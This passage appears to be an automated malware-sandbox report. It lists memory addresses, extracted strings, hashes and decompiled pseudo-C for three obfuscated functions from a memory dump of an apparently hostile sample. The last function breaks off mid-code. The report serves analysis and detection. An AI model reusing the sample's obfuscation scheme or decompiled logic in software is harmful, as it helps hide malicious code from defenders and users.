0x00fb9079
0x00fb9079
0x00fb8f34
0x00fb9012
0x00fb9025
0x00fb902a
0x00fb902d
0x00fb9034
0x00fb903b
0x00fb9042
0x00fb9049
0x00000000
0x00fb8f3a
0x00fb8f40
0x00fb8fd4
0x00fb8fdd
0x00fb8fe0
0x00fb8fe3
0x00fb8fe6
0x00fb8feb
0x00fb8ff0
0x00fb8ff0
0x00fb8ffb
0x00fb9069
0x00fb8ffd
0x00fb8ffd
0x00000000
0x00fb8ffd
0x00fb8f46
0x00fb8f4c
0x00fb8fa5
0x00fb8fb5
0x00fb8fca
0x00fb8fd0
0x00fb9050
0x00fb9050
0x00000000
0x00fb8f4e
0x00fb8f50
0x00000000
0x00fb8f56
0x00fb8f61
0x00fb8f64
0x00fb8f69
0x00fb8f74
0x00fb8f75
0x00fb8f77
0x00fb8f84
0x00fb8f89
0x00fb8f8c
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00000000
0x00fb8da3
0x00fb8da3
0x00fb8f50
0x00fb8f4c
0x00fb8f40
0x00000000
0x00fb9055
0x00fb9055
0x00000000
0x00fb9061

Strings

To[, xrefs: 00FB8CD3
ZkF{sz, xrefs: 00FB8E63
0y\, xrefs: 00FB8D4B
{sz, xrefs: 00FB8C93
R, xrefs: 00FB8A0F
/~, xrefs: 00FB8D93
X(, xrefs: 00FB8CCB

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: R$ 0y\$/~$To[$X($ZkF{sz${sz
API String ID: 0-4201736015
Opcode ID: 56c35f0d720f30cc42555ed9cdd73dabfa8b587fa9f6f3502215074e9b5ce2c4
Instruction ID: ec02d425ec2287620da10d51dc4c3bebae6b71bebdfecfc0c021631662bc8b7b
Opcode Fuzzy Hash: 56c35f0d720f30cc42555ed9cdd73dabfa8b587fa9f6f3502215074e9b5ce2c4
Instruction Fuzzy Hash: 7AF15371508381DFC368CF26C985A9BBBE1FBC4754F10891DF69A86260DBB5C90ADF42

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9824, Relevance: 9.0, Strings: 7, Instructions: 297
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FA9824() {
				signed int _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				void* _t327;
				intOrPtr _t341;
				intOrPtr _t347;
				void* _t349;
				void* _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t362;
				intOrPtr _t383;
				void* _t389;
				signed int* _t393;

				_t393 =  &_v152;
				_v16 = 0xf4fcbc;
				_v12 = 0xcc564a;
				_v8 = 0x1f44a7;
				_t350 = 0;
				_v4 = _v4 & 0;
				_v92 = 0xcfd7c7;
				_v92 = _v92 >> 0xb;
				_v92 = _v92 + 0xd422;
				_v92 = _v92 ^ 0x0000ee1c;
				_v64 = 0xd22180;
				_v64 = _v64 >> 3;
				_v64 = _v64 ^ 0x001a4430;
				_v60 = 0x8c1bcb;
				_v60 = _v60 * 0x39;
				_t389 = 0xd6d27c9;
				_v60 = _v60 ^ 0x1f323033;
				_v76 = 0x831fd4;
				_v76 = _v76 ^ 0x625d9212;
				_v76 = _v76 ^ 0xfff94b8d;
				_v76 = _v76 ^ 0x9d27c64b;
				_v104 = 0x10f543;
				_v104 = _v104 >> 5;
				_t352 = 3;
				_v104 = _v104 * 0x70;
				_v104 = _v104 << 1;
				_v104 = _v104 ^ 0x0076b4c0;
				_v36 = 0x4f3c88;
				_v36 = _v36 + 0x5323;
				_v36 = _v36 ^ 0x00472983;
				_v132 = 0x249af3;
				_v132 = _v132 << 3;
				_v132 = _v132 + 0xdef7;
				_v132 = _v132 | 0x4837824b;
				_v132 = _v132 ^ 0x4938a10b;
				_v116 = 0xde336f;
				_v116 = _v116 * 0x70;
				_v116 = _v116 | 0xaff76fdf;
				_v116 = _v116 ^ 0xefff5053;
				_v140 = 0x39e387;
				_v140 = _v140 >> 0xf;
				_v140 = _v140 | 0xd61d8ff0;
				_v140 = _v140 ^ 0xd8d48533;
				_v140 = _v140 ^ 0x0ec650e8;
				_v84 = 0xda673a;
				_v84 = _v84 + 0x3bc2;
				_v84 = _v84 << 0xe;
				_v84 = _v84 ^ 0xa8bcb544;
				_v52 = 0x79987e;
				_v52 = _v52 << 4;
				_v52 = _v52 ^ 0x07920e98;
				_v124 = 0xdab89c;
				_v124 = _v124 | 0x1f64e44b;
				_v124 = _v124 / _t352;
				_v124 = _v124 << 0xf;
				_v124 = _v124 ^ 0x2a2a3320;
				_v100 = 0x2e8e64;
				_v100 = _v100 + 0x279a;
				_v100 = _v100 ^ 0xd910bf7a;
				_v100 = _v100 + 0xffff7792;
				_v100 = _v100 ^ 0xd93d7a92;
				_v44 = 0x33eb7f;
				_v44 = _v44 | 0xf0ae93ea;
				_v44 = _v44 ^ 0xf0b1ffc7;
				_v152 = 0x6a71c3;
				_v152 = _v152 | 0xae1ef1ad;
				_v152 = _v152 ^ 0xf2a50ead;
				_v152 = _v152 << 0xc;
				_v152 = _v152 ^ 0xbff88a5a;
				_v68 = 0x3e4fcd;
				_v68 = _v68 + 0x6663;
				_v68 = _v68 ^ 0x0038ecf3;
				_v144 = 0xe881f;
				_t353 = 0x52;
				_v144 = _v144 / _t353;
				_t354 = 0x4c;
				_v144 = _v144 / _t354;
				_v144 = _v144 + 0xffff1bf7;
				_v144 = _v144 ^ 0xfff8babb;
				_v88 = 0x223694;
				_t355 = 0x75;
				_v88 = _v88 / _t355;
				_v88 = _v88 + 0x5d24;
				_v88 = _v88 ^ 0x0009c7d6;
				_v28 = 0xebbf2f;
				_v28 = _v28 + 0xffffaf63;
				_v28 = _v28 ^ 0x00ebd29d;
				_v80 = 0xc812ab;
				_v80 = _v80 + 0x96d7;
				_v80 = _v80 + 0xb4af;
				_v80 = _v80 ^ 0x00c2fb9a;
				_v48 = 0x7ee6e7;
				_t163 =  &_v48; // 0x7ee6e7
				_t356 = 0xa;
				_v48 =  *_t163 / _t356;
				_v48 = _v48 ^ 0x000128bb;
				_v136 = 0x4d965e;
				_v136 = _v136 + 0x947e;
				_v136 = _v136 + 0xffff529d;
				_v136 = _v136 ^ 0x66eabf86;
				_v136 = _v136 ^ 0x66adda57;
				_v56 = 0x578cb6;
				_v56 = _v56 << 5;
				_v56 = _v56 ^ 0x0aff5890;
				_v108 = 0x878f63;
				_v108 = _v108 << 5;
				_v108 = _v108 >> 0x10;
				_v108 = _v108 + 0x9435;
				_v108 = _v108 ^ 0x00053dff;
				_v24 = 0xa0bcae;
				_v24 = _v24 << 0xa;
				_v24 = _v24 ^ 0x82ff4e2b;
				_v148 = 0xc81f08;
				_v148 = _v148 + 0xffff6414;
				_v148 = _v148 + 0xffffeb30;
				_v148 = _v148 >> 0xc;
				_v148 = _v148 ^ 0x000c00be;
				_v96 = 0xf9f6b6;
				_v96 = _v96 << 0x10;
				_t357 = 0x4e;
				_v96 = _v96 * 0x2f;
				_v96 = _v96 ^ 0x3ff93bc2;
				_v96 = _v96 ^ 0x749da751;
				_v112 = 0x4ecc95;
				_v112 = _v112 | 0x05338e70;
				_v112 = _v112 + 0xe97c;
				_v112 = _v112 / _t357;
				_v112 = _v112 ^ 0x00151d97;
				_v120 = 0x5164d3;
				_v120 = _v120 + 0xa9f0;
				_v120 = _v120 + 0x9c4e;
				_v120 = _v120 + 0x4dd;
				_v120 = _v120 ^ 0x005479ba;
				_v128 = 0x513b04;
				_v128 = _v128 + 0xc212;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x3f5d72dd;
				_v128 = _v128 ^ 0x78a227d4;
				_v72 = 0x8b60f0;
				_v72 = _v72 << 6;
				_v72 = _v72 ^ 0x12fa78bf;
				_v72 = _v72 ^ 0x302b6153;
				_v32 = 0x8c29a0;
				_v32 = _v32 + 0x4cb4;
				_v32 = _v32 ^ 0x00871061;
				_v40 = 0x7031aa;
				_v40 = _v40 ^ 0x8728ba02;
				_v40 = _v40 ^ 0x875a71ec;
				while(1) {
					L1:
					while(1) {
						_t327 = 0xe709152;
						do {
							L3:
							if(_t389 == 0x57bf409) {
								E00FAAE43( *((intOrPtr*)( *0xfc5210 + 0x10)), _v128, _v72);
								E00FAAE43( *0xfc5210, _v32, _v40);
								_pop(_t362);
								_t389 = 0x64a8bf2;
								L14:
								_t383 =  *0xfc5210;
								_t327 = 0xe709152;
								goto L15;
							}
							if(_t389 == 0xace7a45) {
								E00FB4827(_v20, _v96, _v104, _v112, _v120);
								L18:
								return _t350;
							}
							if(_t389 == 0xb56e1a5) {
								_push(_v68);
								_push(_v152);
								__eflags = E00FBD96C(_v144, _v88,  &_v20, _v92, _v28, 0, E00FBCD35(0xfa15e8, _v44, __eflags)) - _v64;
								_t362 = _v80;
								_t389 =  ==  ? 0xe709152 : 0x57bf409;
								E00FB629F(_t362, _t332, _v48, _v136, _v56);
								_t393 =  &(_t393[0xa]);
								goto L14;
							}
							if(_t389 == 0xd6d27c9) {
								_push(_t362);
								_push(_t362);
								_t341 = E00FB5212(0x2c);
								 *0xfc5210 = _t341;
								 *((intOrPtr*)(_t341 + 0x14)) = 0x4000;
								_t347 = E00FB5212( *((intOrPtr*)( *0xfc5210 + 0x14)));
								_t383 =  *0xfc5210;
								_t393 =  &(_t393[4]);
								_t389 = 0xb56e1a5;
								_t362 =  *((intOrPtr*)(_t383 + 0x14)) + _t347;
								 *((intOrPtr*)(_t383 + 0x10)) = _t347;
								 *((intOrPtr*)(_t383 + 8)) = _t347;
								 *((intOrPtr*)(_t383 + 0x28)) = _t347;
								 *(_t383 + 0x24) = _t362;
								_t327 = 0xe709152;
								continue;
							}
							if(_t389 != _t327) {
								goto L15;
							}
							_t362 = _v60;
							_t349 = E00FB07D9(_t362, _v20,  *((intOrPtr*)( *0xfc5210 + 0x10)), _v108, _v24, _v148,  *((intOrPtr*)(_t383 + 0x14)));
							_t393 =  &(_t393[5]);
							if(_t349 != _v76) {
								_t389 = 0x57bf409;
							} else {
								_t389 = 0xace7a45;
								_t350 = 1;
							}
							goto L1;
							L15:
							__eflags = _t389 - 0x64a8bf2;
						} while (__eflags != 0);
						goto L18;
					}
				}
			}

0x00fa9824
0x00fa982a
0x00fa9837
0x00fa9842
0x00fa984e
0x00fa9850
0x00fa9857
0x00fa985f
0x00fa9864
0x00fa986c
0x00fa9874
0x00fa987c
0x00fa9881
0x00fa9889
0x00fa989b
0x00fa989f
0x00fa98a4
0x00fa98ac
0x00fa98b4
0x00fa98bc
0x00fa98c4
0x00fa98cc
0x00fa98d4
0x00fa98de
0x00fa98df
0x00fa98e3
0x00fa98e7
0x00fa98ef
0x00fa98fa
0x00fa9905
0x00fa9910
0x00fa9918
0x00fa991d
0x00fa9925
0x00fa992d
0x00fa9935
0x00fa9942
0x00fa9946
0x00fa994e
0x00fa9956
0x00fa995e
0x00fa9963
0x00fa996b
0x00fa9973
0x00fa997b
0x00fa9983
0x00fa998b
0x00fa9990
0x00fa9998
0x00fa99a0
0x00fa99a5
0x00fa99ad
0x00fa99b5
0x00fa99c3
0x00fa99c7
0x00fa99cc
0x00fa99d4
0x00fa99dc
0x00fa99e4
0x00fa99ec
0x00fa99f4
0x00fa99fc
0x00fa9a04
0x00fa9a0c
0x00fa9a14
0x00fa9a1c
0x00fa9a24
0x00fa9a2c
0x00fa9a31
0x00fa9a39
0x00fa9a41
0x00fa9a49
0x00fa9a53
0x00fa9a61
0x00fa9a66
0x00fa9a70
0x00fa9a75
0x00fa9a7b
0x00fa9a83
0x00fa9a8b
0x00fa9a97
0x00fa9a9c
0x00fa9aa2
0x00fa9aaa
0x00fa9ab2
0x00fa9abd
0x00fa9ac8
0x00fa9ad3
0x00fa9adb
0x00fa9ae3
0x00fa9aeb
0x00fa9af3
0x00fa9afb
0x00fa9aff
0x00fa9b04
0x00fa9b0a
0x00fa9b12
0x00fa9b1a
0x00fa9b22
0x00fa9b2a
0x00fa9b32
0x00fa9b3a
0x00fa9b42
0x00fa9b47
0x00fa9b4f
0x00fa9b57
0x00fa9b5c
0x00fa9b61
0x00fa9b69
0x00fa9b71
0x00fa9b7c
0x00fa9b84
0x00fa9b8f
0x00fa9b97
0x00fa9b9f
0x00fa9ba7
0x00fa9bac
0x00fa9bb4
0x00fa9bbc
0x00fa9bc6
0x00fa9bc7
0x00fa9bcb
0x00fa9bd3
0x00fa9bdb
0x00fa9be3
0x00fa9beb
0x00fa9bf9
0x00fa9bfd
0x00fa9c05
0x00fa9c0d
0x00fa9c15
0x00fa9c1d
0x00fa9c25
0x00fa9c32
0x00fa9c3a
0x00fa9c42
0x00fa9c47
0x00fa9c4f
0x00fa9c57
0x00fa9c5f
0x00fa9c64
0x00fa9c6c
0x00fa9c74
0x00fa9c7f
0x00fa9c8a
0x00fa9c95
0x00fa9ca0
0x00fa9cab
0x00fa9cb6
0x00fa9cb6
0x00fa9cbc
0x00fa9cbc
0x00fa9cc1
0x00fa9cc1
0x00fa9cc3
0x00fa9e25
0x00fa9e3e
0x00fa9e44
0x00fa9e45
0x00fa9e4a
0x00fa9e4a
0x00fa9e50
0x00000000
0x00fa9e50
0x00fa9ccf
0x00fa9e7a
0x00fa9e85
0x00fa9e8e
0x00fa9e8e
0x00fa9cdb
0x00fa9d9e
0x00fa9da7
0x00fa9dec
0x00fa9e00
0x00fa9e07
0x00fa9e0a
0x00fa9e0f
0x00000000
0x00fa9e0f
0x00fa9ce7
0x00fa9d45
0x00fa9d46
0x00fa9d49
0x00fa9d4e
0x00fa9d56
0x00fa9d75
0x00fa9d7a
0x00fa9d80
0x00fa9d83
0x00fa9d8b
0x00fa9d8d
0x00fa9d90
0x00fa9d93
0x00fa9d96
0x00fa9cbc
0x00000000
0x00fa9cbc
0x00fa9ceb
0x00000000
0x00000000
0x00fa9d08
0x00fa9d16
0x00fa9d1b
0x00fa9d22
0x00fa9d2e
0x00fa9d24
0x00fa9d26
0x00fa9d2b
0x00fa9d2b
0x00000000
0x00fa9e55
0x00fa9e55
0x00fa9e55
0x00000000
0x00fa9e61
0x00fa9cbc

Strings

cf, xrefs: 00FA9A41
$], xrefs: 00FA9AA2
Sa+0, xrefs: 00FA9C6C
3**, xrefs: 00FA99CC
~, xrefs: 00FA9AFB
|, xrefs: 00FA9BEB
#S, xrefs: 00FA98FA

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 3**$#S$$]$Sa+0$cf$|$~
API String ID: 0-2081237789
Opcode ID: 050e15d09b9b3c63f79d3700001cdfaef2f81131be93ab4e0f4ee55c36d221c1
Instruction ID: 3783acee1037d6b23bc3316bc78a9a832d4da9f573e89cc5a6a39f9e0c96fc11
Opcode Fuzzy Hash: 050e15d09b9b3c63f79d3700001cdfaef2f81131be93ab4e0f4ee55c36d221c1
Instruction Fuzzy Hash: 5AF120B15093808FD7A4CF25C58AA0BFBF1FBC5718F10891CF2AA86261D7B58949DF46

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3043, Relevance: 9.0, Strings: 7, Instructions: 281
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FB3043() {
				char _v520;
				char _v1040;
				signed int _v1044;
				signed int _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				signed int _v1124;
				signed int _v1128;
				signed int _v1132;
				signed int _v1136;
				signed int _v1140;
				unsigned int _v1144;
				signed int _v1148;
				signed int _v1152;
				signed int _v1156;
				signed int _v1160;
				signed int _v1164;
				void* _t313;
				void* _t319;
				short* _t321;
				void* _t329;
				void* _t332;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int* _t369;

				_t369 =  &_v1164;
				_v1048 = 0x2d3a44;
				_v1048 = _v1048 + 0xffff0941;
				_t329 = 0x186cafe;
				_v1048 = _v1048 ^ 0x00270cf9;
				_v1144 = 0xb1e5f6;
				_v1144 = _v1144 << 0xe;
				_v1144 = _v1144 << 7;
				_v1144 = _v1144 >> 0xa;
				_v1144 = _v1144 ^ 0x002b5059;
				_v1152 = 0x705433;
				_t16 =  &_v1152; // 0x705433
				_v1152 =  *_t16 * 0x2c;
				_v1152 = _v1152 << 0xa;
				_t361 = 0x6c;
				_v1152 = _v1152 / _t361;
				_v1152 = _v1152 ^ 0x008cb6ab;
				_v1056 = 0xd48a8d;
				_t362 = 0x3d;
				_v1056 = _v1056 * 0x52;
				_v1056 = _v1056 ^ 0x44188b10;
				_v1148 = 0xe8a1a4;
				_v1148 = _v1148 + 0xffff8445;
				_v1148 = _v1148 | 0x150de577;
				_v1148 = _v1148 ^ 0x15ecbdc8;
				_v1124 = 0x50c1ed;
				_v1124 = _v1124 | 0x9ced1bc9;
				_v1124 = _v1124 >> 0x10;
				_v1124 = _v1124 | 0xa10f3434;
				_v1124 = _v1124 ^ 0xa10cf900;
				_v1132 = 0xd65ea8;
				_v1132 = _v1132 / _t362;
				_v1132 = _v1132 << 0xc;
				_v1132 = _v1132 + 0xffffd745;
				_v1132 = _v1132 ^ 0x383476ea;
				_v1092 = 0x7d248b;
				_v1092 = _v1092 + 0x3adc;
				_v1092 = _v1092 | 0x1757e69d;
				_v1092 = _v1092 ^ 0x177f08c2;
				_v1100 = 0x68c52b;
				_v1100 = _v1100 << 0xd;
				_v1100 = _v1100 + 0xffff6c94;
				_v1100 = _v1100 ^ 0x18a2cc44;
				_v1108 = 0xf64a56;
				_v1108 = _v1108 >> 4;
				_v1108 = _v1108 * 0x7f;
				_v1108 = _v1108 ^ 0x07a4a319;
				_v1116 = 0xd81790;
				_v1116 = _v1116 * 0x43;
				_v1116 = _v1116 * 0x58;
				_v1116 = _v1116 ^ 0x70d3674e;
				_v1084 = 0xe6426f;
				_v1084 = _v1084 << 0xe;
				_v1084 = _v1084 | 0xd1d471be;
				_v1084 = _v1084 ^ 0xd1dea415;
				_v1076 = 0x8c6f58;
				_v1076 = _v1076 | 0x991e36bf;
				_v1076 = _v1076 ^ 0x99977486;
				_v1160 = 0x236549;
				_v1160 = _v1160 ^ 0x427975cb;
				_v1160 = _v1160 + 0x3095;
				_v1160 = _v1160 >> 4;
				_v1160 = _v1160 ^ 0x042dc73f;
				_v1164 = 0xfebce3;
				_v1164 = _v1164 >> 0xf;
				_v1164 = _v1164 >> 7;
				_t363 = 0x1e;
				_v1164 = _v1164 / _t363;
				_v1164 = _v1164 ^ 0x000c9c1e;
				_v1080 = 0x5349f6;
				_v1080 = _v1080 << 0xf;
				_v1080 = _v1080 ^ 0xa4f9f85e;
				_v1140 = 0x26cb2a;
				_t364 = 0x15;
				_v1140 = _v1140 * 0x24;
				_v1140 = _v1140 | 0x0de1b006;
				_v1140 = _v1140 ^ 0xe7339f4d;
				_v1140 = _v1140 ^ 0xeac16655;
				_v1112 = 0x9852f8;
				_v1112 = _v1112 + 0x72cd;
				_v1112 = _v1112 * 0x14;
				_v1112 = _v1112 ^ 0x0bea8297;
				_v1072 = 0xdc0abc;
				_v1072 = _v1072 ^ 0x7308e6d0;
				_v1072 = _v1072 ^ 0x73d1aa5a;
				_v1088 = 0x8fedd;
				_v1088 = _v1088 ^ 0x69cb2d45;
				_v1088 = _v1088 << 1;
				_v1088 = _v1088 ^ 0xd38c1690;
				_v1104 = 0xaf7f4d;
				_v1104 = _v1104 ^ 0x9cac2162;
				_v1104 = _v1104 / _t364;
				_v1104 = _v1104 ^ 0x076c0045;
				_v1044 = 0x538525;
				_v1044 = _v1044 << 9;
				_v1044 = _v1044 ^ 0xa7034723;
				_v1096 = 0xea9b15;
				_t365 = 0x4b;
				_v1096 = _v1096 * 0x60;
				_v1096 = _v1096 ^ 0x235e7f1a;
				_v1096 = _v1096 ^ 0x74af7ddb;
				_v1064 = 0xdeb775;
				_v1064 = _v1064 >> 0xf;
				_v1064 = _v1064 ^ 0x0008978c;
				_v1156 = 0x6783c9;
				_v1156 = _v1156 * 0x36;
				_v1156 = _v1156 >> 0xf;
				_v1156 = _v1156 >> 1;
				_v1156 = _v1156 ^ 0x0003dd71;
				_v1060 = 0xb82108;
				_v1060 = _v1060 >> 9;
				_v1060 = _v1060 ^ 0x0000ce5f;
				_v1068 = 0x376109;
				_v1068 = _v1068 + 0xffffb593;
				_v1068 = _v1068 ^ 0x00346b58;
				_v1136 = 0xb96fb1;
				_v1136 = _v1136 << 0x10;
				_v1136 = _v1136 / _t365;
				_v1136 = _v1136 | 0x4a356d96;
				_v1136 = _v1136 ^ 0x4b71a912;
				_v1120 = 0x2830ef;
				_t220 =  &_v1120; // 0x2830ef
				_t366 = 0x43;
				_v1120 =  *_t220 * 0x5a;
				_v1120 = _v1120 >> 0xc;
				_v1120 = _v1120 / _t366;
				_v1120 = _v1120 ^ 0x000d571a;
				_v1052 = 0xc9677a;
				_v1052 = _v1052 << 0xd;
				_v1052 = _v1052 ^ 0x2ceb6ba4;
				_v1128 = 0x31f152;
				_v1128 = _v1128 + 0xae1c;
				_v1128 = _v1128 + 0xffff0313;
				_v1128 = _v1128 + 0xffff1566;
				_v1128 = _v1128 ^ 0x003472f6;
				do {
					while(_t329 != 0x186cafe) {
						if(_t329 == 0x4a9d402) {
							E00FA7795();
							L9:
							_t329 = 0xa86fb5e;
							continue;
						}
						if(_t329 == 0xa86fb5e) {
							_push(_v1124);
							_push(_v1148);
							_t313 = E00FBCD35(0xfa1000, _v1056, __eflags);
							_pop(_t332);
							E00FB2EA5( *0xfc5218 + 0x234, __eflags,  *0xfc5218 + 0x18, _t332, _v1092, _v1100, _t313, _v1108, _v1116,  &_v520);
							E00FB629F(_v1084, _t313, _v1076, _v1160, _v1164);
							_t369 =  &(_t369[0xb]);
							_t329 = 0xdf279c5;
							continue;
						}
						if(_t329 == 0xad35f7f) {
							_t319 = E00FB52D1();
							goto L9;
						}
						if(_t329 == 0xc062218) {
							_t321 = E00FA2B69(_v1060, _v1068,  &_v520, _v1136);
							__eflags = 0;
							 *_t321 = 0;
							return E00FA4025(_v1120,  &_v520, _v1052, _v1128);
						}
						_t378 = _t329 - 0xdf279c5;
						if(_t329 != 0xdf279c5) {
							goto L15;
						}
						E00FBD5C5(_t329, _v1080,  &_v1040, _v1140, _v1112, _v1072);
						E00FA39C5(_t329, _v1088, _v1104,  &_v1040, _v1044, _v1096,  &_v1040);
						_push(_v1156);
						_push( &_v520);
						_t319 = E00FB9124(_v1064,  &_v1040, _t378);
						_t369 =  &(_t369[0xb]);
						_t329 = 0xc062218;
					}
					__eflags =  *((intOrPtr*)( *0xfc5218 + 0x43c));
					if(__eflags == 0) {
						_t329 = 0x4a9d402;
						goto L15;
					}
					_t329 = 0xad35f7f;
					continue;
					L15:
					__eflags = _t329 - 0x4ea2fc0;
				} while (__eflags != 0);
				return _t319;
			}

0x00fb3043
0x00fb3049
0x00fb3053
0x00fb305b
0x00fb3060
0x00fb3068
0x00fb3070
0x00fb3075
0x00fb307a
0x00fb307f
0x00fb3087
0x00fb308f
0x00fb3098
0x00fb309c
0x00fb30a7
0x00fb30ac
0x00fb30b2
0x00fb30ba
0x00fb30cd
0x00fb30ce
0x00fb30d2
0x00fb30da
0x00fb30ea
0x00fb30f2
0x00fb30fa
0x00fb3102
0x00fb310a
0x00fb3112
0x00fb3117
0x00fb311f
0x00fb3127
0x00fb3135
0x00fb3139
0x00fb313e
0x00fb3146
0x00fb314e
0x00fb3156
0x00fb315e
0x00fb3166
0x00fb316e
0x00fb3176
0x00fb317b
0x00fb3183
0x00fb318b
0x00fb3193
0x00fb319d
0x00fb31a1
0x00fb31a9
0x00fb31b6
0x00fb31bf
0x00fb31c3
0x00fb31cb
0x00fb31d3
0x00fb31d8
0x00fb31e0
0x00fb31e8
0x00fb31f0
0x00fb31f8
0x00fb3200
0x00fb3208
0x00fb3210
0x00fb3218
0x00fb321d
0x00fb3225
0x00fb322d
0x00fb3234
0x00fb323f
0x00fb3244
0x00fb324a
0x00fb3252
0x00fb325a
0x00fb325f
0x00fb3267
0x00fb3274
0x00fb3277
0x00fb327b
0x00fb3283
0x00fb328b
0x00fb3293
0x00fb329b
0x00fb32a8
0x00fb32ac
0x00fb32b4
0x00fb32bc
0x00fb32c4
0x00fb32cc
0x00fb32d4
0x00fb32dc
0x00fb32e0
0x00fb32e8
0x00fb32f0
0x00fb3300
0x00fb3304
0x00fb330c
0x00fb3317
0x00fb331f
0x00fb332a
0x00fb3337
0x00fb333a
0x00fb333e
0x00fb3346
0x00fb334e
0x00fb3356
0x00fb335b
0x00fb3363
0x00fb3370
0x00fb3374
0x00fb3379
0x00fb337d
0x00fb3385
0x00fb338d
0x00fb3392
0x00fb339a
0x00fb33a2
0x00fb33aa
0x00fb33b2
0x00fb33ba
0x00fb33c7
0x00fb33cb
0x00fb33d3
0x00fb33db
0x00fb33e3
0x00fb33e8
0x00fb33e9
0x00fb33ed
0x00fb33f8
0x00fb3401
0x00fb340e
0x00fb341e
0x00fb3426
0x00fb3431
0x00fb3439
0x00fb3441
0x00fb3449
0x00fb3451
0x00fb3459
0x00fb3459
0x00fb3467
0x00fb3597
0x00fb350e
0x00fb350e
0x00000000
0x00fb350e
0x00fb346f
0x00fb3515
0x00fb351e
0x00fb3529
0x00fb352f
0x00fb3560
0x00fb357d
0x00fb3582
0x00fb3585
0x00000000
0x00fb3585
0x00fb3477
0x00fb3509
0x00000000
0x00fb3509
0x00fb3483
0x00fb35da
0x00fb35e3
0x00fb35f3
0x00000000
0x00fb35ff
0x00fb3489
0x00fb348f
0x00000000
0x00000000
0x00fb34ad
0x00fb34d1
0x00fb34d6
0x00fb34e8
0x00fb34f0
0x00fb34f5
0x00fb34f8
0x00fb34f8
0x00fb35a6
0x00fb35ad
0x00fb35b6
0x00000000
0x00fb35b6
0x00fb35af
0x00000000
0x00fb35b8
0x00fb35b8
0x00fb35b8
0x00000000

Strings

Xk4, xrefs: 00FB33AA
3Tp, xrefs: 00FB308F
0(, xrefs: 00FB33E3
Ie#, xrefs: 00FB3200
v48, xrefs: 00FB3146
oB, xrefs: 00FB31CB
E, xrefs: 00FB3304

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 3Tp$E$Ie#$Xk4$oB$0($v48
API String ID: 0-724312824
Opcode ID: a5a64b4429dae8370c7cd5c0cbf6fc39695aa2c7d8814871bd04622108604491
Instruction ID: 253f17b1ea1536288a406d2998cc324d2c1b82cf8adc67fe0f64a7033af2f4a3
Opcode Fuzzy Hash: a5a64b4429dae8370c7cd5c0cbf6fc39695aa2c7d8814871bd04622108604491
Instruction Fuzzy Hash: E2E121711083819FD369CF25D48AA5BFBE1FBC4348F108A1DF2A686260D7B59A49DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FB10CD, Relevance: 9.0, Strings: 7, Instructions: 246
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00FB10CD() {
				char _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
				signed int _v624;
				signed int _t240;
				void* _t241;
				intOrPtr _t250;
				signed int _t253;
				void* _t256;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				void* _t286;
				signed int* _t288;
				void* _t291;

				_t288 =  &_v624;
				_v532 = 0xe57b87;
				_v532 = _v532 ^ 0x25168ae1;
				_t256 = 0x2f2f5f6;
				_v532 = _v532 ^ 0x25f3f17a;
				_v612 = 0xfe0f84;
				_t280 = 0x19;
				_v612 = _v612 / _t280;
				_v612 = _v612 + 0x2302;
				_t286 = 0;
				_v612 = _v612 + 0x80ef;
				_v612 = _v612 ^ 0x000acdac;
				_v580 = 0xda4e11;
				_v580 = _v580 + 0xffff50bf;
				_v580 = _v580 << 0xd;
				_v580 = _v580 ^ 0x33d5003f;
				_v572 = 0xe96466;
				_v572 = _v572 + 0xffff71ae;
				_v572 = _v572 + 0x4e4e;
				_v572 = _v572 ^ 0x00e0c677;
				_v588 = 0xa4980a;
				_t281 = 0x5d;
				_v588 = _v588 / _t281;
				_v588 = _v588 << 0xa;
				_v588 = _v588 ^ 0x0711cab5;
				_v556 = 0x65f7a4;
				_v556 = _v556 << 6;
				_v556 = _v556 ^ 0x1979ac6e;
				_v528 = 0x6debbf;
				_t282 = 0x56;
				_v528 = _v528 * 0x34;
